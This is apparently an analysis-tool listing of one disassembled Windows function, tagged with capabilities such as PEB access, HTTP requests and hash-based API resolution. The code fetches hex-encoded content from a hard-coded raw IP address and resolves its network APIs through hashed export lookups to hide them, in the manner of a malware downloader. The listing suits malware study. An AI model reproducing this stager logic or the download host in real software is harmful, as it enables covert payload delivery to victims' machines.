Function at 0x1400011c0
Capabilities:
Access peb ldr_data
Create http request
Encode data using xor
Get http content length
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [0x140051008]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r12, rdx
xor r15d, r15d
mov dword [rbp - 1], r15d
mov dword [rbp + 7], r15d
mov dword [rbp + 0xb], 4
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r15 + 1]
lea rcx, str.User_Agent:
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
mov qword [rbp - 9], rax
test rax, rax
jne 0x14000126c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetOpen_failed._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001ce0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001eb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x1400017bd
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__46.17.43.124_123.html
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r13, rax
test rax, rax
jne 0x1400012dd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetOpenUrlA_failed._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001ce0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001eb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x1400017bd
lea rax, [rbp + 7]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xb]
lea r8, [rbp - 1]
mov edx, 0x20000005
mov rcx, r13
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
xorps xmm0, xmm0
mov eax, dword [rbp - 1]
add eax, 1
mov edi, eax
movdqu xmmword [rbp + 0xf], xmm0
mov qword [rbp + 0x1f], r15
mov rsi, r15
je 0x14000136f
cmp rdi, 0x1000
jb 0x140001347
lea rcx, [rax + 0x27]
cmp rcx, rdi
jbe 0x1400017f6
call fcn.140002080
test rax, rax
je 0x1400017ae
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001352
mov rcx, rdi
call fcn.140002080
mov rsi, rax
mov qword [rbp + 0xf], rsi
lea rbx, [rsi + rdi]
mov qword [rbp + 0x1f], rbx
mov r8, rdi
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x17], rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400013f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400013f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x43e093c6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400013f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400013d0
cmp r8d, 0x37644e45
je 0x1400013fb
test r9d, r9d
jne 0x1400013b0
mov rax, qword [rax]
jmp 0x140001380
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rbp + 3]
mov r8d, dword [rbp - 1]
mov rdx, rsi
mov rcx, r13
call r10
test eax, eax
jne 0x140001463
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.InternetReadFile_failed._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001ce0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001eb0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400016b9
mov eax, dword [rbp + 3]
test eax, eax
je 0x1400016b9
mov r14, qword [rbp + 0xf]
mov byte [rax + r14], 0
mov ebx, dword [rbp + 3]
shr rbx, 1
mov rdi, qword [r12 + 8]
mov rdx, qword [r12]
mov rcx, rdi
sub rcx, rdx
cmp rbx, rcx
jae 0x140001497
lea rax, [rdx + rbx]
jmp 0x1400014c7
jbe 0x1400014cc
mov rax, qword [r12 + 0x10]
sub rax, rdx
cmp rbx, rax
jbe 0x1400014b3
mov rdx, rbx
mov rcx, r12
call fcn.140001ef0
jmp 0x1400014cc
sub rbx, rcx
mov r8, rbx
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
lea rax, [rdi + rbx]
mov qword [r12 + 8], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [r14 + rbx], 0
jne 0x1400014e0
movabs rsi, 0x7fffffffffffffff
cmp rbx, rsi
ja 0x1400017ea
cmp rbx, 0x10
jae 0x140001534
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], 0xf
mov r8, rbx
mov rdx, r14
lea rcx, [rbp - 0x29]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x29], 0
mov rsi, qword [rbp - 0x11]
mov rbx, qword [rbp - 0x19]
mov rdi, qword [rbp - 0x29]
jmp 0x1400015c8
mov rax, rbx
or rax, 0xf
cmp rax, rsi
jbe 0x14000156d
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002080
test rax, rax
je 0x1400016a6
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400015aa
mov rsi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x140001598
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400017f0
jmp 0x14000154e
test rcx, rcx
je 0x1400015a7
call fcn.140002080
mov rdi, rax
jmp 0x1400015aa
mov rdi, r15
mov qword [rbp - 0x29], rdi
mov qword [rbp - 0x19], rbx
mov qword [rbp - 0x11], rsi
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rbx], 0
mov r9, qword [r12]
test rbx, rbx
je 0x14000167b
mov r8, r15
cmp rsi, 0x10
setae r10b
lea rax, [rbp - 0x29]
cmp rsi, 0x10
cmovae rax, rdi
movzx ecx, byte [r8 + rax]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x1400015fd
sub cl, 0x30
jmp 0x140001617
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x140001609
sub cl, 0x57
jmp 0x140001617
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x140001615
sub cl, 0x37
jmp 0x140001617
xor cl, cl
lea rax, [rbp - 0x29]
test r10b, r10b
cmovne rax, rdi
movzx edx, byte [r8 + rax + 1]
lea eax, [rdx - 0x30]
cmp al, 9
ja 0x140001634
sub dl, 0x30
jmp 0x14000164e
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x140001640
sub dl, 0x57
jmp 0x14000164e
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x14000164c
sub dl, 0x37
jmp 0x14000164e
xor dl, dl
shl cl, 4
add cl, dl
mov eax, r15d
test r15d, r15d
jns 0x14000165f
lea eax, [r15 + 1]
sar eax, 1
cdqe
mov byte [rax + r9], cl
add r15d, 2
add r8, 2
movsxd rax, r15d
cmp rax, rbx
jb 0x1400015e0
cmp rsi, 0x10
jb 0x1400016b5
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400016ad
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400020bc
mov r14, qword [rbp - 9]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001756
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001756
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x645560db
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140001751
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140001730
cmp r8d, 0x5b306fc
je 0x14000175b
test r9d, r9d
jne 0x140001710
mov rax, qword [rax]
jmp 0x1400016e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
mov ebx, dword [rbp + 3]
shr rbx, 1
mov rcx, qword [rbp + 0xf]
test rcx, rcx
je 0x1400017ba
mov rdx, qword [rbp + 0x1f]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020bc
mov rax, rbx
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140002060
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
nop
call fcn.140001100
int3